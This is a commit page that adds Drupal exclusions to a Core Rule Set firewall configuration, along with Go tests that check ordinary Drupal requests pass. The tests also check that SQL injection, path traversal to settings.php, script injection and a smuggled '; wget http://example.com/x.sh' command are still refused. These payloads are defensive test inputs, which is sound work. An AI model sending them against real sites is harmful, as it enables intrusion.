Core Rule Set: Drupal's ordinary requests pass by default (closes #236)
check / check (push) Failing after 4m21s
check / check (push) Failing after 4m21s
Adds drupal.conf, the ninth change: on Drupal's paths, the fields that carry a search, a name, a file name or an address skip the rules that refused ordinary requests there. The recorded requests from Drupal 11.4 pass at the defaults and while bodies are read; SQL injection, path traversal and script injection stay refused on those fields. Model: opus-5-5
This commit is contained in:
1 parent
719691d1e8
commit
8e8bfe6718
7 files changed
+1056
-21
No files matched your search
@@ -0,0 +1,334 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// drupalRequest is a line of testdata/drupal-requests.txt.
|
||||
type drupalRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// drupalRequests returns the recorded ordinary Drupal requests.
|
||||
func drupalRequests(t *testing.T) []drupalRequest {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "drupal-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []drupalRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r drupalRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const drupalThreshold = 5
|
||||
|
||||
// drupalAddArticle is Drupal's form for a new article.
|
||||
const drupalAddArticle = "/node/add/article"
|
||||
|
||||
// drupalSignIn is Drupal's sign-in page.
|
||||
const drupalSignIn = "/user/login"
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
for _, recorded := range drupalRequests(t) {
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var drupalAttacks = []string{
|
||||
"1'%20OR%20'1'='1",
|
||||
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
|
||||
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, attack := range drupalAttacks {
|
||||
for _, target := range []string{
|
||||
"/?id=",
|
||||
"/admin/content?id=",
|
||||
"/admin/content?title=",
|
||||
"/admin/content/media?name=",
|
||||
"/admin/people?user=",
|
||||
"/admin/content/files?filename=",
|
||||
"/admin/content/files?filemime=",
|
||||
"/admin/content/block?info=",
|
||||
"/admin/content/comment?subject=",
|
||||
"/admin/content/comment?author_name=",
|
||||
"/admin/config/search/path?search=",
|
||||
"/admin/content?destination=",
|
||||
"/admin/foo?q=",
|
||||
"/node/1/edit?destination=",
|
||||
"/user/login?destination=",
|
||||
"/search/node?keys=",
|
||||
"/search?keys=",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=",
|
||||
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
||||
} {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
const reply = "/comment/reply/node/1/comment"
|
||||
|
||||
for _, attack := range drupalAttacks {
|
||||
for _, sent := range []struct{ target, body string }{
|
||||
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalSignIn, "pass=" + attack},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
`1' OR '1'='1`,
|
||||
`<script>alert(1)</script>`,
|
||||
} {
|
||||
for _, field := range []string{
|
||||
`"title":"` + attack + `"`,
|
||||
`"body":{"value":"` + attack + `"}`,
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, "/jsonapi/node/article",
|
||||
[]string{"Content-Type: application/vnd.api+json"},
|
||||
}
|
||||
body := `{"data":{"attributes":{` + field + `}}}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
||||
// on the fields that skip the other command rules, as a query value.
|
||||
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, target := range []string{
|
||||
"/admin/content?title=",
|
||||
"/admin/content/media?name=",
|
||||
"/admin/people?user=",
|
||||
"/admin/content/files?filename=",
|
||||
"/admin/content/files?filemime=",
|
||||
"/admin/content/block?info=",
|
||||
"/admin/content/comment?subject=",
|
||||
"/admin/content/comment?author_name=",
|
||||
"/admin/config/search/path?search=",
|
||||
"/admin/views/ajax/autocomplete/tag?q=",
|
||||
"/search/node?keys=",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=",
|
||||
} {
|
||||
got := inspect(t, crs, get(target+drupalCommandAttack))
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, field := range []string{
|
||||
"title%5B0%5D%5Bvalue%5D=",
|
||||
"body%5B0%5D%5Bsummary%5D=",
|
||||
"revision_log%5B0%5D%5Bvalue%5D=",
|
||||
"path%5B0%5D%5Balias%5D=",
|
||||
"field_tags%5Btarget_id%5D=",
|
||||
"field_image%5B0%5D%5Balt%5D=",
|
||||
} {
|
||||
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, field := range []string{
|
||||
`"title":"; wget http://example.com/x.sh"`,
|
||||
`"subject":"; wget http://example.com/x.sh"`,
|
||||
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, "/jsonapi/node/article",
|
||||
[]string{"Content-Type: application/vnd.api+json"},
|
||||
}
|
||||
body := `{"data":{"attributes":{` + field + `}}}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalHardValues are the words that name commands and files, as a form
|
||||
// value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
|
||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
const subject = "subject%5B0%5D%5Bvalue%5D="
|
||||
|
||||
for _, value := range drupalHardValues {
|
||||
for _, sent := range []struct{ target, field string }{
|
||||
{"/comment/reply/node/1/comment", subject},
|
||||
{"/comment/reply/node/1/comment/5", subject},
|
||||
{"/comment/reply/node/1/field_comments", subject},
|
||||
{"/comment/reply/media/1/comment", subject},
|
||||
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
||||
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
||||
{drupalSignIn, "pass="},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, value := range []string{"python3", "powershell", "ls -la", ".htaccess"} {
|
||||
r := request{
|
||||
http.MethodPost, "/user/login?_format=json",
|
||||
[]string{"Content-Type: application/json"},
|
||||
}
|
||||
body := `{"name":"example","pass":"` + value + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, passes := range []string{
|
||||
"/admin/content?title=python3",
|
||||
"/search/node?keys=python3",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
||||
"/node/1/edit?destination=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
||||
t.Errorf("%s refused: %+v", passes, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?title=python3",
|
||||
"/admin/content?other=python3",
|
||||
"/?keys=python3",
|
||||
"/node/1?keys=python3",
|
||||
"/?q=python3",
|
||||
"/?filter%5Btitle%5D=python3",
|
||||
"/python3-notes?destination=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// The same field name in the query keeps the rules, in the query and
|
||||
// in the body.
|
||||
for _, sent := range []struct{ path, field string }{
|
||||
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
||||
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
||||
{drupalSignIn, "pass=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user